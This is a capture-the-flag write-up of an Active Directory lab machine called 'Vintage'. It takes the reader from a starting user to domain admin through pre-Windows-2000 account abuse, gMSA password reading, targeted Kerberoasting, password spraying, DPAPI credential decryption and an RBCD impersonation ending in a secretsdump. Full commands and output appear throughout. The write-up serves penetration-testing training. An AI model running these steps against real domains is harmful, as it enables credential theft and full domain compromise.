Machine Information
As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account:
P.Rosa
/Rosaisbest123
External Recon
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-01 14:24:33Z)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
[...]
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Looking at the open ports I am dealing with a Domain Controller for the vintage.htb
, which itself has a hostname of DC01
. I add corresponding entries to my /etc/hosts
file.
Internal Recon
Since this machine provides credentials for an assume-breach scenario I already have a kind of foothold and can go straight to internal recon using
$ bloodhound-ce-python -ns 10.129.131.184 --dns-tcp --dns-timeout 20 --zip -c all -d 'vintage.htb' -u 'P.Rosa' -p 'Rosaisbest123'
Password:
INFO: Found AD domain: vintage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The resolution lifetime expired after 3.105 seconds: Server Do53:10.129.131.184@53 answered The DNS operation timed out.
INFO: Done in 00M 06S
As always when tackling an active directory machine my first order of business is to run a Bloodhound collector to enumerate the AD.
In the output to stdout
I can already see that another computer besides the domain controller exists in this domain. The FQDN FS01.vintage.htb
for which I add to my hosts file too.
Snooping around the graph I also notice that the Domain Administrators
group has a second member called l.bianchi_adm
. This piece of information will be relevant for the very final steps.
Since I want to get a shell on the machine I also look at the members of Remote Management Users
and identify two potential targets for lateral movement. I also see l.bianchi
again, but this time without the _adm
suffix. The existence of these two different yet similar users might hint at a tiered administration model being used in this environment.
Access as FS01$
Either by querying the neo4j database for all the computers or by carefully looking at the output of the Bloodhound collector you can find out about the existence of a second computer in the domain.
Pre 2000 Computer
Looking at the group memberships of the computer FS01
I notice an odd group called pre-Windows 2000 compatible access
. During the previous AD machines I have not seen a computer being part of this group so I investigate further.
pre2k
When a new computer account is configured as “pre-Windows 2000 computer”, its password is set based on its name (i.e. lowercase computer name without the trailing
$
). When it isn’t, the password is randomly generated. https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers
Based on the information above and the “odd” group membership I try requesting a TGT for FS01$
with the corresponding password of fs01
. This works flawlessly and I got my TGT.
$ getTGT.py 'vintage.htb/FS01$:fs01' -dc-ip 10.129.131.184
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in FS01$.ccache
$ KRB5CCNAME=FS01$.ccache netexec ldap 'dc01.vintage.htb' -k --use-kcache --dns-server 10.129.131.184 -d 'vintage.htb'
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\FS01$ from ccache
ReadGMSA
Looking further along the graph (now that I have access as FS01$
) I can see that as a domain computer I am allowed to read the GMSA password of GMSA01$
.
To actually get the password I use bloodyAD to read the msDS-ManagedPassword
attribute of the account.
$ KRB5CCNAME=FS01\$.ccache bloodyAD -d 'vintage.htb' -k --host 'dc01.vintage.htb' --dc-ip 10.129.131.184 get object 'gmsa01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:54311f0ed05b807a7aaf5943b595f224
msDS-ManagedPassword.B64ENCODED: c6qwf6x+EXiEYKGhCu/wTBcnp6hz3ppQG2uReaV8QV+JCaIhn2MobwBxF4Q6fd3W5P13wvh2Jf/Wp2WHsjIEjkbF0duDHoCBAK31Q+BoQg0eUHbsRcksNrkLcPtkZ5eUhK+TzgpXeFKt0VCOWFkAOStKE1H5PDfUGoC2xuP+Tceg7iV0IcMBaR8Db3UgqaqP2LLRiimuL6ZO4xl6sSRKrdRQEQOR7L9fFw9JW7myCsbj2TPxFc5WaMQtWi456OvwBQn4jhdty5tSjv2uMlcq+sQMz60voxH6sClACPGKJMCr2FNVJP6dd1GTdvh6n5Dbh/yhHCAF8UzYeGXv2Nx3Dw==
AddSelf
Going even further down the graph I see that with the successful compromise of the GMSA01$
I have a GenericWrite over a group called Servicemanagers
.
Before doing anything else as GMSA01$
I also have get a TGT for this account. Once I got my TGT I use bloodyAD again, but this time to add GMSA01$
to the Servicemanagers
group. After I added myself to the group I get a new TGT with the updated group membership.
$ getTGT.py 'vintage.htb/GMSA01$' -hashes ':54311f0ed05b807a7aaf5943b595f224' -dc-ip 10.129.131.184
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in GMSA01$.ccache
$ KRB5CCNAME=GMSA01\$.ccache bloodyAD -d 'vintage.htb' -k --host 'dc01.vintage.htb' --dc-ip 10.129.131.184 add groupMember 'CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB' 'CN=GMSA01,CN=MANAGED SERVICE ACCOUNTS,DC=VINTAGE,DC=HTB'
[+] CN=GMSA01,CN=MANAGED SERVICE ACCOUNTS,DC=VINTAGE,DC=HTB added to CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB
$ getTGT.py 'vintage.htb/GMSA01$' -hashes ':54311f0ed05b807a7aaf5943b595f224' -dc-ip 10.129.131.184
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in GMSA01$.ccache
TargetKerberoasting
As it turns out the members of Servicemanagers
have a GenericAll over multiple service accounts within the domain. To exploit this weakness have multiple options available to me, but depending on this environment I might not able to use all of them.
To gain control over these accounts I want to ideally get their NTLM hashes or even their plaintext passwords. The former can be recovered if AD CS is active in the domain. From there I can use a technique called Shadow Credential to get the NTLM hash of the account.
However in this environment AD CS is not used and as such I fallback to making all those account vulnerable to either Kerberoasting or ASREP-Roasting and try to recover their respective plaintext passwords from the gathered hashes.
I opted for the former option, since I still had a tool called targetedKerberoast.py installed, which does exactly what I want to do right now. It makes every possible account vulnerable to Kerberoasting and gathers the Service Tickets / kerberoastable hashes.
$ KRB5CCNAME=GMSA01\$.ccache targetedKerberoast.py -D 'vintage.htb' --dc-ip 10.129.131.184 -k -u 'gMSA01$' -d 'vintage.htb' --dc-host 'dc01.vintage.htb' -o service_account.hashes
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Writing hash to file for (svc_ldap)
[+] Writing hash to file for (svc_ark)
After running the script as the GMSA01$
account I notice something odd. The Servicemanagers
groups had GenericAll over three accounts, but the targeted Kerberoasting only worked for two accounts. So what’s up with the missing account?
Looking at the properties of svc_sql
in Bloodhound I can see that this account was actually disabled and as such could not be Kerberoasted. To re-enable the account I use bloodyAD as described in their User-Guide. Afterwards I run targetedKerberoast.py
again to get three hashes, before passing them to Hashcat.
$ KRB5CCNAME=GMSA01\$.ccache bloodyAD -d 'vintage.htb' -k --host 'dc01.vintage.htb' --dc-ip 10.129.131.184 remove uac 'CN=SVC_SQL,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB' -f 'ACCOUNTDISABLE'
[-] ['ACCOUNTDISABLE'] property flags removed from CN=SVC_SQL,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB's userAccountControl
$ KRB5CCNAME=GMSA01\$.ccache ./targetedKerberoast.py -D 'vintage.htb' --dc-ip 10.129.131.184 -k -u 'gMSA01$' -d 'vintage.htb' --dc-host 'dc01.vintage.htb' -o service_account.hashes
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Writing hash to file for (svc_sql)
[+] Writing hash to file for (svc_ldap)
[+] Writing hash to file for (svc_ark)
I will leave the Hashcat output and command to your imagination, since Hashcatd detects these kinds of hashes reliably. One of the three passwords can be recovered with the rockyou.txt
wordlist. Now with my second plaintext password of this machine obtained I proceed with password spraying this password against all the user accounts of the domain.
To perform this attack I use kerbrute
in combination with a previously generated list of Domain users. After a few seconds kerbrute shows me another account with the same password. The user in question C.Neri
was one of the two members of the Remote Management Users
group, so I can finally get a shell on the machine.
$ kerbrute passwordspray -d 'vintage.htb' --dc 10.129.131.184 usernames.txt 'Zer0the0ne'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/01/24 - Ronnie Flathers @ropnop
2024/12/01 16:45:27 > Using KDC(s):
2024/12/01 16:45:27 > 10.129.131.184:88
2024/12/01 16:45:27 > [+] VALID LOGIN: C.Neri@vintage.htb:Zer0the0ne
2024/12/01 16:45:27 > [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
2024/12/01 16:45:32 > Done! Tested 17 logins (2 successes) in 5.099 seconds
Privilege Escalation
But before I can get my user shell I have to properly setup my krb5.conf
so that evil-winrm
can be used with Kerberos authentication. For this I use a script called configure_krb5.py
, which I found in this Gist on Github. Once this is done I request a TGT for C.Neri
and log into the machine.
$ sudo python3 configure_krb5.py 'vintage.htb' 'dc01'
[*] Configuration Data:
[libdefault]
default_realm = VINTAGE.HTB
[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
}
[domain_realm]
vintage.htb = VINTAGE.HTB
.vintage.htb = VINTAGE.HTB
[!] Above Configuration will overwrite /etc/krb5.conf, are you sure? [y/N] y
[+] /etc/krb5.conf has been configured
$ getTGT.py 'vintage.htb/C.Neri:Zer0the0ne' -dc-ip 10.129.131.184
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in C.Neri.ccache
$ KRB5CCNAME=C.Neri.ccache evil-winrm -r 'vintage.htb' -i 'dc01.vintage.htb'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents>
With a shell on the target machine acquired I usually establish a Sliver beacon on the machine. While my loader is capable of getting past an AV like Windows Defender it was immediately detected on this machine. Which later turned out to be an issue with the AMSI bypass used by donut
, which Sliver uses when generating a payload in shellcode format.
But since I only realized this after the doing the machine I ended up relying on living-of-the-land to solve this machine.
DPAPI
Looking around in the Bloodhound graph I notice an admin account related to c.neri
that has potential to take over the vintage.htb
domain using RBCD. Since the users are related I go looking for locally stored credentials, like DPAPI or even plaintext ones.
From there I find two DPAPI masterkeys for c.neri
, both I encode with certutil
to a Base64 to copy them over to my machine. evil-winrm
does not seem to be able to access/download these files.
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> gci . -hidden
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 1:17 PM 740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs- 6/7/2024 1:17 PM 740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs- 6/7/2024 1:17 PM 904 BK-VINTAGE
-a-hs- 6/7/2024 1:17 PM 24 Preferred
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> certutil -encode 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847.b64
Input Length = 740
Output Length = 1076
CertUtil: -encode command completed successfully.
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> certutil -encode 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b.b64
Input Length = 740
Output Length = 1076
CertUtil: -encode command completed successfully.
Once that is done I also need the credential which I transfer over to my machine in a similar manner.
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials> gci . -hidden
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 5:08 PM 430 C4BB96844A5C9DD45D5B6A9859252BA6
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials> certutil -encode C4BB96844A5C9DD45D5B6A9859252BA6 C4BB96844A5C9DD45D5B6A9859252BA6.b64
Input Length = 430
Output Length = 650
CertUtil: -encode command completed successfully.
All these Base64 certificate blobs are then decoded back into plain data using the command below for each of the three files.
sed -n '/-----BEGIN CERTIFICATE-----/,/-----END CERTIFICATE-----/p' blob.b64 | sed '1d;$d' | tr -d '\n' | base64 -d
After getting the user SID from Bloodhound I can decrypt the masterkeys for c.neri
.
$ dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b.dat -sid 'S-1-5-21-4024337825-2033394866-2055507597-1115' -dc-ip 10.129.131.184 -password 'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
With said key I can then decrypt the credential to reveal the password for c.neri_adm
.
$dpapi.py credential -file loot/DPAPI/C4BB96844A5C9DD45D5B6A9859252BA6.dat -key '0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312
RBCD
As said before as c.neri_adm
I have control over the group DelegatedAdmins
the members of which are allowed to act on behalf of DC01$
through RBCD.
To start I get a TGT for c.neri_adm
.
$ getTGT.py 'vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri_adm.ccache
$ KRB5CCNAME=c.neri_adm.ccache netexec ldap vintage.htb -k --use-kcache
LDAP vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP vintage.htb 389 dc01.vintage.htb [+] vintage.htb\C.Neri_adm from ccache
With that ticket I then add the previously compromised account GMSA01$
to the DelegatedAdmins
group. FS01$
will also work for this attack. Once the account is added I get a TGT with the updated group memberships.
$ KRB5CCNAME=c.neri_adm.ccache bloodyAD -d 'vintage.htb' -k --host 'dc01.vintage.htb' --dc-ip 10.129.131.184 add groupMember 'CN=DELEGATEDADMINS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB' 'CN=GMSA01,CN=MANAGED SERVICE ACCOUNTS,DC=VINTAGE,DC=HTB'
[+] CN=GMSA01,CN=MANAGED SERVICE ACCOUNTS,DC=VINTAGE,DC=HTB added to CN=DELEGATEDADMINS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB
$ getTGT.py 'vintage.htb/GMSA01$' -hashes ':54311f0ed05b807a7aaf5943b595f224' -dc-ip 10.129.131.184
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in GMSA01$.ccache
From there I use Impacket’s getST.py
to use the RBCD from GMSA01$
to DC01$
to request a TGS for the cifs/dc01.vintage.htb
while impersonating L.Bianchi_adm
. Impersonating the Administrator
in the case does not work since they are a member of the Protected Users
group.
$ KRB5CCNAME=GMSA01\$.ccache getST.py -k -spn 'cifs/dc01.vintage.htb' -impersonate L.Bianchi_adm -dc-ip 10.129.131.184 -no-pass 'vintage.htb/GMSA01$'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating L.Bianchi_adm
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
With that ticket I can then use secretsdump.py
to dump the NTLM hash from the domain controller, through which I can evil-winrm
into the machine for the root flag.
$ KRB5CCNAME=L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache secretsdump.py -k -no-pass -just-dc-ntlm -dc-ip 10.129.131.184 -target-ip 10.129.131.184 'vintage.htb/L.Bianchi_adm@dc01.vintage.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:be3d376d906753c7373b15ac460724d8:::
M.Rossi:1111:aad3b435b51404eeaad3b435b51404ee:8e5fc7685b7ae019a516c2515bbd310d:::
R.Verdi:1112:aad3b435b51404eeaad3b435b51404ee:42232fb11274c292ed84dcbcc200db57:::
L.Bianchi:1113:aad3b435b51404eeaad3b435b51404ee:de9f0e05b3eaa440b2842b8fe3449545:::
G.Viola:1114:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri:1115:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
P.Rosa:1116:aad3b435b51404eeaad3b435b51404ee:8c241d5fe65f801b408c96776b38fba2:::
svc_sql:1134:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
svc_ldap:1135:aad3b435b51404eeaad3b435b51404ee:458fd9b330df2eff17c42198627169aa:::
svc_ark:1136:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri_adm:1140:aad3b435b51404eeaad3b435b51404ee:91c4418311c6e34bd2e9a3bda5e96594:::
L.Bianchi_adm:1141:aad3b435b51404eeaad3b435b51404ee:6b751449807e0d73065b0423b64687f0:::
DC01$:1002:aad3b435b51404eeaad3b435b51404ee:2dc5282ca43835331648e7e0bd41f2d5:::
gMSA01$:1107:aad3b435b51404eeaad3b435b51404ee:54311f0ed05b807a7aaf5943b595f224:::
FS01$:1108:aad3b435b51404eeaad3b435b51404ee:44a59c02ec44a90366ad1d0f8a781274:::
[*] Cleaning up...